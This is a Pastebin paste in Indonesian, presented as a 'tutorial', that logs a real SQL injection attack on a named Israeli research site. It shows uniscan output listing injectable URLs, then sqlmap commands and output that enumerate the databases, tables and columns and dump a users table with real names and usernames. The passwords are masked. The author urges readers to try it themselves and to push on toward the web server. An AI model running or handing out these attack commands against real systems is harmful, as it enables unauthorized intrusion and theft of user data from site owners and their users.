API tools faq
paste
sahimar

just tutorial

sahimar
Jun 12th, 2013
186
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.40 KB | None | 0 0
raw download clone embed print report
  1. ------------------------------------------------54h1m412--------------------------------------------
  2. just tutorial . . .
  3. syarat umum
  4. 1) OS backtrack 5
  5. 2) koneksi internet
  6. 3) cemilan, rokok, kopi
  7. ket : bila ga ada kopi bleh diganti marimas . . . :D
  8. ------------------------------------------------------------------------------
  9. site target : http://www.iserd.org.il
  10. ------------------------------------------------------------------------------
  11. mencari vuln dulu
  12. sy pake uniscan biar lebih cepet.
  13. rumus : ./uniscan.pl -u http://www.iserd.org.il/ -d
  14.  
  15. "uniscan telah sy edit supaya hanya mencari vulnerability saja agar lebih capat"
  16. -----------------------------------------------------------------------------
  17. Rudy@sahimar:~/bttool/uniscan# ./uniscan.pl -u http://www.iserd.org.il/ -d
  18. ####################################
  19. # Uniscan project #
  20. # http://uniscan.sourceforge.net/ #
  21. ####################################
  22. V. 6.2
  23.  
  24.  
  25. Scan date: 12-6-2013 22:13:19
  26. ===================================================================================================
  27. | Domain: http://www.iserd.org.il/
  28. | Server: Microsoft-IIS/7.5
  29. | IP: 91.143.232.241
  30. =================================================================================================== | Blind SQL Injection:
  31. | [+] Vul [Blind SQL-i]: http://www.iserd.org.il/newsHorizontal.asp?id=76&LinkPageForEvents=default.asp?id=208&LinkPageForNews=default.asp?id=667&Program_id=76+AND+1=1
  32. | [+] Keyword: Partial
  33. | [+] Vul [Blind SQL-i]: http://www.iserd.org.il/newsHorizontal.asp?id=48&LinkPageForEvents=default.asp?id=251&LinkPageForNews=default.asp?id=671&Program_id=48+AND+1=1
  34. | [+] Keyword: Partial
  35. | [+] Vul [Blind SQL-i]: http://www.iserd.org.il/newsHorizontal.asp?id=544&LinkPageForEvents=default.asp?id=405&LinkPageForNews=default.asp?id=709&Program_id=46+AND+1=1
  36. | [+] Keyword: Partial
  37. | [+] Vul [Blind SQL-i]: http://www.iserd.org.il/newsHorizontal.asp?id=49&LinkPageForEvents=default.asp?id=252&LinkPageForNews=default.asp?id=673&Program_id=49+AND+1=1
  38. | [+] Keyword: Partial
  39. | [+] Vul [Blind SQL-i]: http://www.iserd.org.il/newsHorizontal.asp?id=54&LinkPageForEvents=default.asp?id=305&LinkPageForNews=default.asp?id=687&Program_id=54+AND+1=1
  40. | [+] Keyword: Partial
  41. | [+] Vul [Blind SQL-i]: http://www.iserd.org.il/newsHorizontal.asp?id=31&LinkPageForEvents=default.asp?id=303&LinkPageForNews=default.asp?id=683&Program_id=31+AND+1=1
  42. | [+] Keyword: Conference
  43. | [+] Vul [Blind SQL-i]: http://www.iserd.org.il/newsHorizontal.asp?id=57&LinkPageForEvents=default.asp?id=307&LinkPageForNews=default.asp?id=691&Program_id=57+AND+1=1
  44. | [+] Keyword: Conference
  45. | [+] Vul [Blind SQL-i]: http://www.iserd.org.il/newsHorizontal.asp?id=53&LinkPageForEvents=default.asp?id=304&LinkPageForNews=default.asp?id=685&Program_id=53+AND+1=1
  46. | [+] Keyword: Partial
  47. | [+] Vul [Blind SQL-i]: http://www.iserd.org.il/newsHorizontal.asp?id=55&LinkPageForEvents=default.asp?id=306&LinkPageForNews=default.asp?id=689&Program_id=55+AND+1=1
  48. | [+] Keyword: Partial
  49. | [+] Vul [Blind SQL-i]: http://www.iserd.org.il/newsHorizontal.asp?id=85&LinkPageForEvents=default.asp?id=168&LinkPageForNews=default.asp?id=647&Program_id=85+AND+1=1
  50. | [+] Keyword: project
  51. | [+] Vul [Blind SQL-i]: http://www.iserd.org.il/newsHorizontal.asp?id=86&LinkPageForEvents=default.asp?id=169&LinkPageForNews=default.asp?id=649&Program_id=86+AND+1=1
  52. | [+] Keyword: project
  53. | [+] Vul [Blind SQL-i]: http://www.iserd.org.il/newsHorizontal.asp?id=87&LinkPageForEvents=default.asp?id=170&LinkPageForNews=default.asp?id=653&Program_id=87+AND+1=1
  54. | [+] Keyword: project
  55. | [+] Vul [Blind SQL-i]: http://www.iserd.org.il/newsHorizontal.asp?id=88&LinkPageForEvents=default.asp?id=171&LinkPageForNews=default.asp?id=651&Program_id=88+AND+1=1
  56. | [+] Keyword: project
  57. | [+] Vul [Blind SQL-i]: http://www.iserd.org.il/newsHorizontal.asp?id=91&LinkPageForEvents=default.asp?id=174&LinkPageForNews=default.asp?id=659&Program_id=91+AND+1=1
  58. | [+] Keyword: project
  59.  
  60. --------------------------------------------------------------------------------------------
  61.  
  62. kurang dr 1mnit sdah ketemu
  63.  
  64. selanjutnya pake sqlmap
  65. ------------------------------------------------------------------------------------------
  66.  
  67. rumus : ./sqlmap.py -u http://www.iserd.org.il/newsHorizontal.asp? --data "id=76&LinkPageForEvents=default.asp?id=208&LinkPageForNews=default.asp?id=667&Program_id=76" -p Program_id --dbs --random-agent --flush-session
  68. ---------------------------------------------------------------------------------------------
  69.  
  70. Rudy@sahimar:~/bttool/sqlmap# ./sqlmap.py -u http://www.iserd.org.il/newsHorizontal.asp? --data "id=76&LinkPageForEvents=default.asp?id=208&LinkPageForNews=default.asp?id=667&Program_id=76" -p Program_id --dbs --random-agent --flush-session
  71.  
  72. available databases [7]:
  73. [*] Fp7Projects
  74. [*] IserdFp7Site
  75. [*] master
  76. [*] model
  77. [*] msdb
  78. [*] newiserd
  79. [*] tempdb
  80.  
  81. [21:58:49] [INFO] fetched data logged to text files under '/root/bttool/sqlmap/output/www.iserd.org.il'
  82.  
  83. [*] shutting down at 21:58:49
  84. ---------------------------------------------------------------------------------------------------
  85. saatnya find tables
  86. rumua : ./sqlmap.py -u http://www.iserd.org.il/newsHorizontal.asp? --data "id=76&LinkPageForEvents=default.asp?id=208&LinkPageForNews=default.asp?id=667&Program_id=76" -p Program_id -D Fp7Projects --tables --time-sec=5 --random-agent
  87. ---------------------------------------------------------------------------------------------------
  88. Rudy@sahimar:~/bttool/sqlmap# ./sqlmap.py -u http://www.iserd.org.il/newsHorizontal.asp? --data "id=76&LinkPageForEvents=default.asp?id=208&LinkPageForNews=default.asp?id=667&Program_id=76" -p Program_id -D Fp7Projects --tables --time-sec=5 --random-agent
  89.  
  90. Database: Fp7Projects
  91. [68 tables]
  92. +----------------------+
  93. | CallStatuses |
  94. | CallStatuses |
  95. | Calls |
  96. | Calls |
  97. | Calls_and_programs |
  98. | Calls_and_programs |
  99. | Coordinators |
  100. | Coordinators |
  101. | Countries |
  102. | Countries |
  103. | FundingSchemes |
  104. | FundingSchemes |
  105. | ILContacts |
  106. | ILContacts |
  107. | IlContacts_copy |
  108. | IlContacts_copy |
  109. | IsraeliOrganisations |
  110. | IsraeliOrganisations |
  111. | MainTable |
  112. | MainTable |
  113. | NewCall |
  114. | NewCall |
  115. | NewCalls |
  116. | NewCalls |
  117. | NewOrganisation |
  118. | NewOrganisation |
  119. | NewProject |
  120. | NewProject |
  121. | Organisations |
  122. | Organisations |
  123. | Programs |
  124. | Programs |
  125. | Projects |
  126. | Projects |
  127. | StatusOrganisations |
  128. | StatusOrganisations |
  129. | Titles |
  130. | Titles |
  131. | Types |
  132. | Types |
  133. | Users |
  134. | Users |
  135. | Users_Programs |
  136. | Users_Programs |
  137. | VPC |
  138. | VPC |
  139. | Vpu |
  140. | Vpu |
  141. | Calls-111 |
  142. | Calls-111 |
  143. | ~TMPCLP115521 |
  144. | ~TMPCLP115521 |
  145. | ~TMPCLP329311 |
  146. | ~TMPCLP329311 |
  147. | ~TMPCLP384751 |
  148. | ~TMPCLP384751 |
  149. | ~TMPCLP62351 |
  150. | ~TMPCLP62351 |
  151. | ~TMPCLP78801 |
  152. | ~TMPCLP78801 |
  153. | copy_il_organisation |
  154. | copy_il_organisation |
  155. | copy_organisations |
  156. | copy_organisations |
  157. | copy_projects |
  158. | copy_projects |
  159. | dtproperties |
  160. | dtproperties |
  161. +----------------------+
  162.  
  163. [22:33:29] [INFO] fetched data logged to text files under '/root/bttool/sqlmap/output/www.iserd.org.il'
  164.  
  165. [*] shutting down at 22:33:29
  166. ---------------------------------------------------------------------------------------------------
  167. cari columns
  168. rumus : ./sqlmap.py -u http://www.iserd.org.il/newsHorizontal.asp? --data "id=76&LinkPageForEvents=default.asp?id=208&LinkPageForNews=default.asp?id=667&Program_id=76" -p Program_id -D Fp7Projects -T users --columns --random-agent
  169. ----------------------------------------------------------------------------------------------------
  170. Rudy@sahimar:~/bttool/sqlmap# ./sqlmap.py -u http://www.iserd.org.il/newsHorizontal.asp? --data "id=76&LinkPageForEvents=default.asp?id=208&LinkPageForNews=default.asp?id=667&Program_id=76" -p Program_id -D Fp7Projects -T users --columns --random-agent
  171.  
  172. Database: Fp7Projects
  173. Table: users
  174. [6 columns]
  175. +-----------+----------+
  176. | Column | Type |
  177. +-----------+----------+
  178. | Activated | bit |
  179. | Password | nvarchar |
  180. | UName | nvarchar |
  181. | UserId | int |
  182. | UserLevel | int |
  183. | UserName | nvarchar |
  184. +-----------+----------+
  185.  
  186. [22:50:47] [INFO] fetched data logged to text files under '/root/bttool/sqlmap/output/www.iserd.org.il'
  187.  
  188. [*] shutting down at 22:50:47
  189. ---------------------------------------------------------------------------------------------------
  190. saatnya dump >> paling degdegan saat yg ini ..... :D
  191. rumus : ./sqlmap.py -u http://www.iserd.org.il/newsHorizontal.asp? --data "id=76&LinkPageForEvents=default.asp?id=208&LinkPageForNews=default.asp?id=667&Program_id=76" -p Program_id -D Fp7Projects -T users --dump --random-agent --time-sec=5
  192. -----------------------------------------------------------------------------------------------------
  193. Rudy@sahimar:~/bttool/sqlmap# ./sqlmap.py -u http://www.iserd.org.il/newsHorizontal.asp? --data "id=76&LinkPageForEvents=default.asp?id=208&LinkPageForNews=default.asp?id=667&Program_id=76" -p Program_id -D Fp7Projects -T users --dump --random-agent --time-sec=5
  194.  
  195.  
  196. Database: Fp7Projects
  197. Table: users
  198. [10 entries]
  199. +--------+------------------+----------+----------+-----------+-----------+
  200. | UserId | UName | UserName | Password | Activated | UserLevel |
  201. +--------+------------------+----------+----------+-----------+-----------+
  202. | 1 | Hadas-Aviv-Tony | HA | xxxxx | 1 | 1 |
  203. | 2 | Hirsh-Tony | Hirsh | xxxxx | 1 | 1 |
  204. | 3 | Ayala-Uri-Lior | AUL | xxxxx | 1 | 1 |
  205. | 4 | Nili-Ephrat-Mika | NEM | xxxxx | 1 | 1 |
  206. | 5 | Tony | Tony | xxxxx | 1 | 1 |
  207. | 1 | Hadas-Aviv-Tony | HA | xxxxx | 1 | 1 |
  208. | 2 | Hirsh-Tony | Hirsh | xxxxx | 1 | 1 |
  209. | 3 | Ayala-Uri-Lior | AUL | xxxxx | 1 | 1 |
  210. | 4 | Nili-Ephrat-Mika | NEM | xxxxx | 1 | 1 |
  211. | 5 | Tony | Tony | xxxxx | 1 | 1 |
  212. +--------+------------------+----------+----------+-----------+-----------+
  213.  
  214. [22:54:37] [INFO] table 'Fp7Projects.dbo.users' dumped to CSV file '/root/bttool/sqlmap/output/www.iserd.org.il/dump/Fp7Projects/users.csv'
  215. [22:54:37] [INFO] fetched data logged to text files under '/root/bttool/sqlmap/output/www.iserd.org.il'
  216.  
  217. [*] shutting down at 22:54:37
  218. ----------------------------------------------------------------------
  219. sengaja pass nya tdk ditampilkan. kalo pengen tau praktekan aja . . :D
  220. ----------------------------------------------------------------------------------------------------
  221. silahkan exploitasi sendiri dari database sapa tau ketemu webservernya . . . :D
  222. oke ini hanya tutorial, bila ada apa2 sy jgn di bawa2
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!